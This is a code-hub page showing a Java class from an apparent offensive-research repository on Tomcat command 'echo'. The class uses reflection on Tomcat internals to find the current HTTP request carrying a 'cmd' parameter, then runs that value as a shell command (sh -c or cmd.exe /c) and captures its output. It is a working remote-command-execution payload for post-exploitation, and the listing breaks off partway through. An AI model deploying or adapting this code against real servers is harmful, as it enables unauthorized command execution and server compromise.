MCPcopy Create free account
hub / github.com/Firebasky/Java / Alltomcat

Class Alltomcat

java回显/src/main/java/com/firebasky/echo/controller/Alltomcat.java:7–83  ·  view source on GitHub ↗

局限 数据大小/tomcat7

Source from the content-addressed store, hash-verified

5 */
6
7public class Alltomcat {
8 public Alltomcat() {
9 try{
10 //传递命令的参数名
11 String pass="cmd";
12 //WebappClassLoaderBase
13 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
14
15 //ApplicationContext
16 org.apache.catalina.Context context=webappClassLoaderBase.getResources().getContext();
17 java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
18 contextField.setAccessible(true);
19 org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);
20
21 //StandardService
22 java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
23 serviceField.setAccessible(true);
24 org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
25
26 //Connector
27 org.apache.catalina.connector.Connector connectors[]=standardService.findConnectors();
28
29 //筛选Connector
30 for (int i=0;i<connectors.length;i++) {
31 if (connectors[i].getScheme().contains("http")) {
32
33 //AbstractProtocol$ConnectoinHandler
34 org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
35 java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
36 getHandlerMethod.setAccessible(true);
37 org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler= (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler,null);
38
39 //RequestGroupInfo
40 java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
41 globalField.setAccessible(true);
42 org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);
43
44 //获取RequestGroupInfo中储存了RequestInfo的processors
45 java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
46 processorsField.setAccessible(true);
47 java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
48
49 //通过QueryString筛选
50 for (int k = 0; k < list.size(); k++) {
51 org.apache.coyote.RequestInfo requestInfo= (org.apache.coyote.RequestInfo) list.get(k);
52 if(requestInfo.getCurrentQueryString().contains(pass)){
53
54 //request
55 java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
56 requestField.setAccessible(true);
57 org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
58 org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
59
60 //执行命令并回显
61 String cmd =request.getParameter(pass);
62 String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
63 java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
64 java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected